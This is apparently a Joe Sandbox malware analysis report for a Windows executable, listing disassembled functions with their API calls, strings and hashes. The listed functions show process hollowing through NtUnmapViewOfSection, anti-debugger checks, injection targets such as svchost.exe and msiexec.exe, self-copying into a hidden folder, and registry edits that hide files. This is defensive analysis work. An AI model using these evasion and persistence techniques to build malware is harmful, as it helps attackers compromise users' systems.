ReleaseMutex.KERNEL32 ref: 00007FF6AE222EFC
CloseHandle.KERNEL32 ref: 00007FF6AE222F07

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction ID: 77dff27db757ac57354dc0beb4cbcef147ead54c25fd1c2a03d63f178154de84
Opcode Fuzzy Hash: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction Fuzzy Hash: 00019636A2DA82C2E724AB22E9542297370FBF9B55F404575F98EC6668CF3DD5448600

Function 00007FF6AE223CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6AE223D0D
PathFindFileNameW.SHLWAPI ref: 00007FF6AE223D20
wcslen.MSVCRT ref: 00007FF6AE223D36
wcsncpy.MSVCRT ref: 00007FF6AE223DFB

Strings

Unknown, xrefs: 00007FF6AE223DEC

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction ID: 5b850a609bb3ad583b875ca1e0652ad423bf8f40a8ccd1141bdfc8c8ff68ef8c
Opcode Fuzzy Hash: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction Fuzzy Hash: 5831BC7661DAC586D7709B15E8987AA73A0F7A8740F400125E68DC7768DF3DD554CB00

Function 00007FF6AE223B90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE2230B8), ref: 00007FF6AE223BD3
RegSetValueExW.ADVAPI32 ref: 00007FF6AE223C09
RegCloseKey.ADVAPI32 ref: 00007FF6AE223C18

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF6AE223B94
Hidden, xrefs: 00007FF6AE223BA0

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction ID: 3bd193641bd04bd9b868ec8a2cb444eac2ecc7d06b5f5e40907cccb96b6af76b
Opcode Fuzzy Hash: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction Fuzzy Hash: 9201E976629A808AD7609B15E84471AB774F7A8794F901225FB8D83B68DF7CC145CB04

Function 00007FF6AE2213C4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6AE2213DC
GetProcAddress.KERNEL32 ref: 00007FF6AE2213EC

Strings

IsWow64Process, xrefs: 00007FF6AE2213E2
kernel32, xrefs: 00007FF6AE2213D5
@, xrefs: 00007FF6AE221429

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction ID: 405cb879d1c0d0fd6058779b2438b1f93199aad8fa10f3928e40e1d998cc5f69
Opcode Fuzzy Hash: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction Fuzzy Hash: D401E82292D64286E630AF12F54872A77A0FBA8348F904175E68D866A8DF7CD649CF05

Function 00007FF6AE224010 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6AE22402E
Process32FirstW.KERNEL32 ref: 00007FF6AE224060
wcscmp.MSVCRT ref: 00007FF6AE224077
CloseHandle.KERNEL32 ref: 00007FF6AE2240AD

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction ID: 14b3be56ed8f27fc57cde9bd85b277e0d4fa60655121881fd63cd3fa75c87921
Opcode Fuzzy Hash: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction Fuzzy Hash: FD115A31A2DA8281E774AF12E98836A73A0FBA4754F004370E69D8669CDF7DD544CB00

Function 00007FF6AE221088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6AE221098
GetProcAddress.KERNEL32 ref: 00007FF6AE2210A8

Strings

GetThreadId, xrefs: 00007FF6AE22109E
kernel32, xrefs: 00007FF6AE221091

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction ID: c07ba64991000490d5a3130dd6dc08034fdf2ccef629c9106557e3b3cf3fedbe
Opcode Fuzzy Hash: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction Fuzzy Hash: 0EE0122196AA83C2D620BB51F94432973A0FBB4754F904170E98D86668DF7CD64DCB04

Function 00007FF6AE222F38 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AE2238D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223919
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22392E
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223941
Part of subcall function 00007FF6AE2238D0: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223951
Part of subcall function 00007FF6AE2238D0: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223964
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE223979
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE22398C
Part of subcall function 00007FF6AE2238D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6AE223AB5), ref: 00007FF6AE2239A1

Part of subcall function 00007FF6AE224570: CreateFileW.KERNEL32 ref: 00007FF6AE2245B7

Part of subcall function 00007FF6AE2210D8: OpenProcess.KERNEL32 ref: 00007FF6AE2210FC

GetProcessHeap.KERNEL32 ref: 00007FF6AE222FD3
HeapFree.KERNEL32 ref: 00007FF6AE222FE6

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF6AE222F77
.x64, xrefs: 00007FF6AE222F8A

Memory Dump Source

Source File: 00000007.00000002.2769321382.00007FF6AE221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6AE220000, based on PE: true

Associated: 00000007.00000002.2769298606.00007FF6AE220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769459537.00007FF6AE225000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769475222.00007FF6AE228000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769490062.00007FF6AE229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2769515372.00007FF6AE22B000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6ae220000_K6UAlAU.jbxd

Similarity

API ID: lstrcat$CreateFileHeapProcess$AttributesDirectoryFolderFreeOpenPath
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 1115570603-2286007224
Opcode ID: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction ID: f068a1df9654da394faeb9b2658a7edb6bd9c175434eafff13787eb15b2b1b68
Opcode Fuzzy Hash: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction Fuzzy Hash: 5611DA21A2AA8682E724FB12FA543A673E0FBB4704F4041B5F54CC666DDF7CE1498B40

Analysis Process: 232B06DEE822786254513.exePID: 5276, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	41.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	486
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF64C3724D8 Relevance: 66.9, APIs: 34, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF64C37253D

Strings

@, xrefs: 00007FF64C3728B9
NtUnmapViewOfSection, xrefs: 00007FF64C37283E
.reloc, xrefs: 00007FF64C372ADF
ntdll, xrefs: 00007FF64C372829

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction ID: 40f318051f859f9e28b0cb0ef6156f0552f67ae3c3f398c8619f49bcec4ec494
Opcode Fuzzy Hash: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction Fuzzy Hash: C732D73260DAC5C6E771EB16E854BBAB3A1FB88B44F008136DA8D83B58DF7DD4449B01

Function 00007FF64C373468 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64C3731B8: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF64C373479), ref: 00007FF64C3731BC

ExitProcess.KERNEL32 ref: 00007FF64C373482
ExitProcess.KERNEL32 ref: 00007FF64C3734E0

Strings

msiexec.exe, xrefs: 00007FF64C373507
worker_kBEqZh, xrefs: 00007FF64C37356D
worker_FDhvwc, xrefs: 00007FF64C3735D9
audiodg.exe, xrefs: 00007FF64C373558
worker_BAccdq, xrefs: 00007FF64C37351C
worker_RdDwvE, xrefs: 00007FF64C3734CB
svchost.exe, xrefs: 00007FF64C3734A3

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 55df43c0f70c762c55ccc1daff7d11e1d1a694bfe0b15328a6787312b238f0f7
Instruction ID: 4f266f044cec631f6a516c0fef6f8a9e9ff6b4d478dd391a2ed69f14008fffbb
Opcode Fuzzy Hash: 55df43c0f70c762c55ccc1daff7d11e1d1a694bfe0b15328a6787312b238f0f7
Instruction Fuzzy Hash: 7E615B30A1EA43D1F7A6BB34E855BBA22A0BF84300F408137D44ED67E5DE3DE409A751

Function 00007FF64C3740F0 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C37348D), ref: 00007FF64C3740F4
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C37348D), ref: 00007FF64C374107
GetTokenInformation.KERNELBASE ref: 00007FF64C374138
GetTokenInformation.KERNELBASE ref: 00007FF64C37416A
CloseHandle.KERNEL32 ref: 00007FF64C374179

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction ID: 7f3370916622c4bb67a40dba892ab58506b5537f693eb8524ca64a9acf092e2d
Opcode Fuzzy Hash: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction Fuzzy Hash: 7D31F532A1DA81C6E751FB15E450B2AB7A0FBD4784F109036EA8E93B68DF7CE4419F41

Function 00007FF64C3738D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64C373750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF64C373790
Part of subcall function 00007FF64C373750: GetVolumeInformationW.KERNELBASE ref: 00007FF64C37380D
Part of subcall function 00007FF64C373750: wsprintfW.USER32 ref: 00007FF64C3738AE

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373919
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37392E
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373941
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373951
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373964
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373979
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37398C
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C3739A1

Strings

.exe, xrefs: 00007FF64C373992

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 770307421aca36d49bca84c0dfa216b7f98058c76aaad42187d4f31f35ede59f
Instruction ID: 3685f9e180206cf00ee7d3c0c380bda87c6153950c7d468e4d32402e850f7301
Opcode Fuzzy Hash: 770307421aca36d49bca84c0dfa216b7f98058c76aaad42187d4f31f35ede59f
Instruction Fuzzy Hash: 4A114F2562D986D5EB61BF29F864B6A6361FBC4B44F409032DA4E87F28DF3CD004DB40

Function 00007FF64C373A80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64C373750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF64C373790
Part of subcall function 00007FF64C373750: GetVolumeInformationW.KERNELBASE ref: 00007FF64C37380D
Part of subcall function 00007FF64C373750: wsprintfW.USER32 ref: 00007FF64C3738AE

Part of subcall function 00007FF64C3738D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373919
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37392E
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373941
Part of subcall function 00007FF64C3738D0: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373951
Part of subcall function 00007FF64C3738D0: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373964
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373979
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37398C
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C3739A1

GetModuleFileNameW.KERNEL32 ref: 00007FF64C373AC5
DeleteFileW.KERNELBASE ref: 00007FF64C373AD0
CopyFileW.KERNELBASE ref: 00007FF64C373AE9
SetFileAttributesW.KERNEL32 ref: 00007FF64C373B01

Strings

Services, xrefs: 00007FF64C373B0C

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 0acc5c0c913d09c4baef432d1e678c95263b87dfc455b2ca94eb538ecf882866
Instruction ID: 268afe1f72d084de1bcbabbf67440528b0a6d3d1de38f8ca88908db39c232e19
Opcode Fuzzy Hash: 0acc5c0c913d09c4baef432d1e678c95263b87dfc455b2ca94eb538ecf882866
Instruction Fuzzy Hash: 43018061B1D582E2EBA1BB24E8557AA53A0FB94744F808033D24DC36A4EE2CD20ADB41

Function 00007FF64C373750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF64C373790
GetVolumeInformationW.KERNELBASE ref: 00007FF64C37380D
wsprintfW.USER32 ref: 00007FF64C3738AE

Strings

%08lX%04lX%lu, xrefs: 00007FF64C37389F

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction ID: 0ddb49b1b82a281a4e0b84cd5434976d281870dbd3c49e5561d3b241d66d635c
Opcode Fuzzy Hash: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction Fuzzy Hash: CC31F22662D6C1C6E761EB64E4987ABB3A0FB84740F405136E68D86A98EF7DC508DB01

Function 00007FF64C3731B8 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF64C373479), ref: 00007FF64C3731BC
GetCurrentProcess.KERNEL32 ref: 00007FF64C3731D2
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF64C3731E0

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

